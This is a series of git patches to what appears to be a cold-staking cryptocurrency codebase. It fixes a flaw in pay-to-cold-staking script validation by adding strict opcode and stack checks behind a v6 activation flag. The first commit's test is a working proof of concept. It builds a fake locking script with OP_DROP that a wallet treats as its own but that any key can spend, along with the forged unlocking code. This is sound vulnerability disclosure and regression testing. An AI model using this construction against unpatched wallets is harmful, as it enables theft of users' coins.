From dced6c0f3fc749d7c825b9a939b6a33697085a79 Mon Sep 17 00:00:00 2001 From: random-zebra Date: Mon, 22 Mar 2021 16:07:54 +0100 Subject: [PATCH 1/4] [Tests] Proof of concept for P2CS vulnerability The validation for P2CS scriptPubKey is incomplete and doesn't check all the opcodes. This opens a vulnerability. A script could be crafted so that: * it is identified as P2CS (passing IsPayToColdStaking), and recognized by the wallet as ISMINE_SPENDABLE_DELEGATED. * the assumed owner is not actually the owner (or not the only one) of the coins. In this Proof of concept, we craft a script that is recognized as own P2CS by the owner wallet, but can actually be spent with **any** key. This is achieved by including OP_DROP in a strategic position, so that, during the script evaluation, part of the locking condition (included only to fake IsPayToColdStaking) is removed, and replaced by a new condition embedded in the spending scriptSig. --- src/test/script_P2CS_tests.cpp | 87 +++++++++++++++++++++++++++++++++- 1 file changed, 86 insertions(+), 1 deletion(-) diff --git a/src/test/script_P2CS_tests.cpp b/src/test/script_P2CS_tests.cpp index a62bed9560cd..7c19b4a8a0ba 100644 --- a/src/test/script_P2CS_tests.cpp +++ b/src/test/script_P2CS_tests.cpp @@ -6,10 +6,12 @@ #include "base58.h" #include "key.h" #include "policy/policy.h" +#include "wallet/test/wallet_test_fixture.h" +#include "wallet/wallet.h" #include -BOOST_FIXTURE_TEST_SUITE(script_P2CS_tests, TestingSetup) +BOOST_FIXTURE_TEST_SUITE(script_P2CS_tests, WalletTestingSetup) void CheckValidKeyId(const CTxDestination& dest, const CKeyID& expectedKey) { @@ -197,4 +199,87 @@ BOOST_AUTO_TEST_CASE(coldstake_script) BOOST_CHECK(CheckP2CSScript(tx.vin[0].scriptSig, scriptP2CS, tx, err)); } +// Check that it's not possible to "fake" a P2CS script for the owner by splitting the locking +// and unlocking parts. +static CScript GetFakeLockingScript(const CKeyID staker, const CKeyID& owner) +{ + CScript script; + script << opcodetype(0x2F) << opcodetype(0x01) << OP_ROT << + OP_IF << OP_CHECKCOLDSTAKEVERIFY << ToByteVector(staker) << + OP_ELSE << ToByteVector(owner) << OP_DROP << + OP_EQUALVERIFY << OP_CHECKSIG; + + return script; +} + +void FakeUnlockColdStake(CMutableTransaction& tx, const CScript& prevScript, const CKey& key) +{ + // sign the first input + tx.vin[0].scriptSig.clear(); + const CTransaction _tx(tx); + SigVersion sv = _tx.GetRequiredSigVersion(); + const uint256& hash = SignatureHash(prevScript, _tx, 0, SIGHASH_ALL, amtIn, sv); + std::vector vchSig; + BOOST_CHECK(key.Sign(hash, vchSig)); + vchSig.push_back((unsigned char)SIGHASH_ALL); + tx.vin[0].scriptSig << vchSig << ToByteVector(key.GetPubKey()) << OP_DUP << OP_HASH160 << ToByteVector(key.GetPubKey().GetID()); +} + +static void setupWallet(CWallet& wallet) +{ + wallet.SetMinVersion(FEATURE_SAPLING); + wallet.SetupSPKM(false); +} + +BOOST_AUTO_TEST_CASE(fake_script_test) +{ + CWallet& wallet = *pwalletMain; + LOCK(wallet.cs_wallet); + setupWallet(wallet); + CKey stakerKey; // dummy staker key (not in the wallet) + stakerKey.MakeNewKey(true); + CKeyID stakerId = stakerKey.GetPubKey().GetID(); + CPubKey ownerPubKey; + BOOST_ASSERT(wallet.GetKeyFromPool(ownerPubKey)); + const CKeyID& ownerId = ownerPubKey.GetID(); + CKey ownerKey; // owner key (in the wallet) + BOOST_ASSERT(wallet.GetKey(ownerId, ownerKey)); + + const CScript& scriptP2CS = GetFakeLockingScript(stakerId, ownerId); + + // Create prev transaction: + CMutableTransaction txFrom; + txFrom.vout.resize(1); + txFrom.vout[0].nValue = amtIn; + txFrom.vout[0].scriptPubKey = scriptP2CS; + + // passes IsPayToColdStaking + BOOST_CHECK(scriptP2CS.IsPayToColdStaking()); + + // the output amount is credited to the owner wallet + wallet.AddToWallet({&wallet, MakeTransactionRef(CTransaction(txFrom))}); + BOOST_CHECK_EQUAL(wallet.GetWalletTx(txFrom.GetHash())->GetAvailableCredit(false, ISMINE_SPENDABLE_TRANSPARENT), amtIn); + + // create spend tx + CMutableTransaction tx; + tx.vin.resize(1); + tx.vout.resize(1); + tx.vin[0].prevout.n = 0; + tx.vin[0].prevout.hash = txFrom.GetHash(); + tx.vout[0].nValue = amtIn - 10000; + tx.vout[0].scriptPubKey = GetScriptForDestination(stakerId); + + // it cannot be spent with the owner key, using the P2CS unlocking script + SignColdStake(tx, 0, scriptP2CS, ownerKey, false); + ScriptError err = SCRIPT_ERR_OK; + BOOST_CHECK(!CheckP2CSScript(tx.vin[0].scriptSig, scriptP2CS, tx, err)); + BOOST_CHECK_MESSAGE(err == SCRIPT_ERR_EQUALVERIFY, ScriptErrorString(err)); + + // ... but it can be spent by the staker (or any) key, with the fake unlocking script + FakeUnlockColdStake(tx, scriptP2CS, stakerKey); + BOOST_CHECK_MESSAGE(CheckP2CSScript(tx.vin[0].scriptSig, scriptP2CS, tx, err), ScriptErrorString(err)); + wallet.AddToWallet({&wallet, MakeTransactionRef(CTransaction(tx))}); + BOOST_CHECK_EQUAL(wallet.GetWalletTx(txFrom.GetHash())->GetAvailableCredit(false, ISMINE_SPENDABLE_TRANSPARENT), 0); +} + BOOST_AUTO_TEST_SUITE_END() From 889a9e74cc8a7c20af68862b1f9de4a9cb09a549 Mon Sep 17 00:00:00 2001 From: random-zebra Date: Mon, 22 Mar 2021 15:03:25 +0100 Subject: [PATCH 2/4] [Script] Strict checks for OP_CHECKCOLDSTAKEVERIFY Ensure stack consistency (size, signature and pubkey encoding) during evaluation --- src/script/interpreter.cpp | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/src/script/interpreter.cpp b/src/script/interpreter.cpp index a9cef95b3a5c..ca82b0da5ca3 100644 --- a/src/script/interpreter.cpp +++ b/src/script/interpreter.cpp @@ -962,7 +962,23 @@ bool EvalScript(std::vector >& stack, const CScript& case OP_CHECKCOLDSTAKEVERIFY: { - // check it is used in a valid cold stake transaction. + // the stack can contain only at this point + if ((int)stack.size() != 3) { + return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); + } + // check pubkey/signature encoding + valtype& vchSig = stacktop(-3); + valtype& vchPubKey = stacktop(-2); + if (!CheckSignatureEncoding(vchSig, flags, serror) || + !CheckPubKeyEncoding(vchPubKey, flags, serror)) { + // serror is set + return false; + } + // check hash size + valtype& vchPubKeyHash = stacktop(-1); + if ((int)vchPubKeyHash.size() != 20) { + return set_error(serror, SCRIPT_ERR_SCRIPT_SIZE); + } if(!checker.CheckColdStake(script)) { return set_error(serror, SCRIPT_ERR_CHECKCOLDSTAKEVERIFY); } From 74bc415d038c49d93a9959fe252089b5bffca912 Mon Sep 17 00:00:00 2001 From: random-zebra Date: Mon, 22 Mar 2021 15:34:42 +0100 Subject: [PATCH 3/4] [Script] Strict test for IsPayToColdStaking check the whole script template (leave only the 20 bytes for the staker keyID and 20 for the owner keyID). --- src/script/script.cpp | 6 +++++- src/test/script_P2CS_tests.cpp | 9 +++++++-- 2 files changed, 12 insertions(+), 3 deletions(-) diff --git a/src/script/script.cpp b/src/script/script.cpp index cfc83bfe3e20..775c136fe137 100644 --- a/src/script/script.cpp +++ b/src/script/script.cpp @@ -225,12 +225,16 @@ bool CScript::IsPayToScriptHash() const bool CScript::IsPayToColdStaking() const { - // Extra-fast test for pay-to-cold-staking CScripts: return (this->size() == 51 && + (*this)[0] == OP_DUP && + (*this)[1] == OP_HASH160 && (*this)[2] == OP_ROT && + (*this)[3] == OP_IF && (*this)[4] == OP_CHECKCOLDSTAKEVERIFY && (*this)[5] == 0x14 && + (*this)[26] == OP_ELSE && (*this)[27] == 0x14 && + (*this)[48] == OP_ENDIF && (*this)[49] == OP_EQUALVERIFY && (*this)[50] == OP_CHECKSIG); } diff --git a/src/test/script_P2CS_tests.cpp b/src/test/script_P2CS_tests.cpp index 7c19b4a8a0ba..b028de1b1fe2 100644 --- a/src/test/script_P2CS_tests.cpp +++ b/src/test/script_P2CS_tests.cpp @@ -200,7 +200,8 @@ BOOST_AUTO_TEST_CASE(coldstake_script) } // Check that it's not possible to "fake" a P2CS script for the owner by splitting the locking -// and unlocking parts. +// and unlocking parts. This particular script can be spent by any key, with a +// unlocking script composed like: static CScript GetFakeLockingScript(const CKeyID staker, const CKeyID& owner) { CScript script; @@ -231,6 +232,7 @@ static void setupWallet(CWallet& wallet) wallet.SetupSPKM(false); } +/* !TODO: check before/after v6 enforcement BOOST_AUTO_TEST_CASE(fake_script_test) { CWallet& wallet = *pwalletMain; @@ -277,9 +279,12 @@ BOOST_AUTO_TEST_CASE(fake_script_test) // ... but it can be spent by the staker (or any) key, with the fake unlocking script FakeUnlockColdStake(tx, scriptP2CS, stakerKey); - BOOST_CHECK_MESSAGE(CheckP2CSScript(tx.vin[0].scriptSig, scriptP2CS, tx, err), ScriptErrorString(err)); + if (!CheckP2CSScript(tx.vin[0].scriptSig, scriptP2CS, tx, err)) { + BOOST_ERROR(strprintf("P2CS verification failed: %s", ScriptErrorString(err))); + } wallet.AddToWallet({&wallet, MakeTransactionRef(CTransaction(tx))}); BOOST_CHECK_EQUAL(wallet.GetWalletTx(txFrom.GetHash())->GetAvailableCredit(false, ISMINE_SPENDABLE_TRANSPARENT), 0); } +*/ BOOST_AUTO_TEST_SUITE_END() From c8502bf753892b5d1430aec5534d3b9e39e90881 Mon Sep 17 00:00:00 2001 From: random-zebra Date: Fri, 26 Mar 2021 11:43:00 +0100 Subject: [PATCH 4/4] [Consensus] Guard P2CS change with contextual flag g_IsV6Active --- src/script/interpreter.cpp | 34 ++++++++++++++++++---------------- src/script/script.cpp | 16 +++++++++++----- src/script/script.h | 4 ++++ src/test/script_P2CS_tests.cpp | 25 +++++++++++++++++++------ src/validation.cpp | 4 ++++ 5 files changed, 56 insertions(+), 27 deletions(-) diff --git a/src/script/interpreter.cpp b/src/script/interpreter.cpp index ca82b0da5ca3..847f9f55cc80 100644 --- a/src/script/interpreter.cpp +++ b/src/script/interpreter.cpp @@ -962,22 +962,24 @@ bool EvalScript(std::vector >& stack, const CScript& case OP_CHECKCOLDSTAKEVERIFY: { - // the stack can contain only at this point - if ((int)stack.size() != 3) { - return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); - } - // check pubkey/signature encoding - valtype& vchSig = stacktop(-3); - valtype& vchPubKey = stacktop(-2); - if (!CheckSignatureEncoding(vchSig, flags, serror) || - !CheckPubKeyEncoding(vchPubKey, flags, serror)) { - // serror is set - return false; - } - // check hash size - valtype& vchPubKeyHash = stacktop(-1); - if ((int)vchPubKeyHash.size() != 20) { - return set_error(serror, SCRIPT_ERR_SCRIPT_SIZE); + if (g_IsV6Active) { + // the stack can contain only at this point + if ((int)stack.size() != 3) { + return set_error(serror, SCRIPT_ERR_INVALID_STACK_OPERATION); + } + // check pubkey/signature encoding + valtype& vchSig = stacktop(-3); + valtype& vchPubKey = stacktop(-2); + if (!CheckSignatureEncoding(vchSig, flags, serror) || + !CheckPubKeyEncoding(vchPubKey, flags, serror)) { + // serror is set + return false; + } + // check hash size + valtype& vchPubKeyHash = stacktop(-1); + if ((int)vchPubKeyHash.size() != 20) { + return set_error(serror, SCRIPT_ERR_SCRIPT_SIZE); + } } if(!checker.CheckColdStake(script)) { return set_error(serror, SCRIPT_ERR_CHECKCOLDSTAKEVERIFY); diff --git a/src/script/script.cpp b/src/script/script.cpp index 775c136fe137..06cd172558aa 100644 --- a/src/script/script.cpp +++ b/src/script/script.cpp @@ -8,6 +8,8 @@ #include "tinyformat.h" #include "utilstrencodings.h" +#include + const char* GetOpName(opcodetype opcode) { @@ -223,18 +225,22 @@ bool CScript::IsPayToScriptHash() const (*this)[22] == OP_EQUAL); } +// contextual flag to guard the new rules for P2CS. +// can be removed once v6 enforcement is activated. +std::atomic g_IsV6Active{false}; + bool CScript::IsPayToColdStaking() const { return (this->size() == 51 && - (*this)[0] == OP_DUP && - (*this)[1] == OP_HASH160 && + (!g_IsV6Active || (*this)[0] == OP_DUP) && + (!g_IsV6Active || (*this)[1] == OP_HASH160) && (*this)[2] == OP_ROT && - (*this)[3] == OP_IF && + (!g_IsV6Active || (*this)[3] == OP_IF) && (*this)[4] == OP_CHECKCOLDSTAKEVERIFY && (*this)[5] == 0x14 && - (*this)[26] == OP_ELSE && + (!g_IsV6Active || (*this)[26] == OP_ELSE) && (*this)[27] == 0x14 && - (*this)[48] == OP_ENDIF && + (!g_IsV6Active || (*this)[48] == OP_ENDIF) && (*this)[49] == OP_EQUALVERIFY && (*this)[50] == OP_CHECKSIG); } diff --git a/src/script/script.h b/src/script/script.h index 2ca0277d459f..aa5a4d3aa313 100644 --- a/src/script/script.h +++ b/src/script/script.h @@ -661,4 +661,8 @@ class CScript : public CScriptBase size_t DynamicMemoryUsage() const; }; +// contextual flag to guard the new rules for P2CS. +// can be removed once v6 enforcement is activated. +extern std::atomic g_IsV6Active; + #endif // BITCOIN_SCRIPT_SCRIPT_H diff --git a/src/test/script_P2CS_tests.cpp b/src/test/script_P2CS_tests.cpp index b028de1b1fe2..8309c37f3668 100644 --- a/src/test/script_P2CS_tests.cpp +++ b/src/test/script_P2CS_tests.cpp @@ -232,9 +232,10 @@ static void setupWallet(CWallet& wallet) wallet.SetupSPKM(false); } -/* !TODO: check before/after v6 enforcement BOOST_AUTO_TEST_CASE(fake_script_test) { + BOOST_ASSERT(!g_IsV6Active); + CWallet& wallet = *pwalletMain; LOCK(wallet.cs_wallet); setupWallet(wallet); @@ -250,17 +251,21 @@ BOOST_AUTO_TEST_CASE(fake_script_test) const CScript& scriptP2CS = GetFakeLockingScript(stakerId, ownerId); // Create prev transaction: + // It has two outputs. The first one is spent before v6. + // The second one is tested after v6 enforcement. CMutableTransaction txFrom; - txFrom.vout.resize(1); - txFrom.vout[0].nValue = amtIn; - txFrom.vout[0].scriptPubKey = scriptP2CS; + txFrom.vout.resize(2); + for (size_t i = 0; i < 2; i++) { + txFrom.vout[i].nValue = amtIn; + txFrom.vout[i].scriptPubKey = scriptP2CS; + } // passes IsPayToColdStaking BOOST_CHECK(scriptP2CS.IsPayToColdStaking()); // the output amount is credited to the owner wallet wallet.AddToWallet({&wallet, MakeTransactionRef(CTransaction(txFrom))}); - BOOST_CHECK_EQUAL(wallet.GetWalletTx(txFrom.GetHash())->GetAvailableCredit(false, ISMINE_SPENDABLE_TRANSPARENT), amtIn); + BOOST_CHECK_EQUAL(wallet.GetWalletTx(txFrom.GetHash())->GetAvailableCredit(false, ISMINE_SPENDABLE_TRANSPARENT), 2 * amtIn); // create spend tx CMutableTransaction tx; @@ -283,8 +288,16 @@ BOOST_AUTO_TEST_CASE(fake_script_test) BOOST_ERROR(strprintf("P2CS verification failed: %s", ScriptErrorString(err))); } wallet.AddToWallet({&wallet, MakeTransactionRef(CTransaction(tx))}); + BOOST_CHECK_EQUAL(wallet.GetWalletTx(txFrom.GetHash())->GetAvailableCredit(false, ISMINE_SPENDABLE_TRANSPARENT), amtIn); + + // Now let's activate v6 + g_IsV6Active = true; + + // it does NOT pass IsPayToColdStaking + BOOST_CHECK_MESSAGE(!scriptP2CS.IsPayToColdStaking(), "Fake script passes as P2CS"); + + // the output amount is NOT credited to the owner wallet BOOST_CHECK_EQUAL(wallet.GetWalletTx(txFrom.GetHash())->GetAvailableCredit(false, ISMINE_SPENDABLE_TRANSPARENT), 0); } -*/ BOOST_AUTO_TEST_SUITE_END() diff --git a/src/validation.cpp b/src/validation.cpp index 8565c460ec9a..ea320d05c736 100644 --- a/src/validation.cpp +++ b/src/validation.cpp @@ -1922,6 +1922,7 @@ void static UpdateTip(CBlockIndex* pindexNew) { AssertLockHeld(cs_main); chainActive.SetTip(pindexNew); + g_IsV6Active = Params().GetConsensus().NetworkUpgradeActive(pindexNew->nHeight, Consensus::UPGRADE_V6_0); // New best block mempool.AddTransactionsUpdated(1); @@ -3660,6 +3661,9 @@ bool LoadChainTip(const CChainParams& chainparams) const CBlockIndex* pChainTip = chainActive.Tip(); + // initial global flag update + g_IsV6Active = Params().GetConsensus().NetworkUpgradeActive(pChainTip->nHeight, Consensus::UPGRADE_V5_0); + LogPrintf("Loaded best chain: hashBestChain=%s height=%d date=%s progress=%f\n", pChainTip->GetBlockHash().GetHex(), pChainTip->nHeight, FormatISO8601DateTime(pChainTip->GetBlockTime()),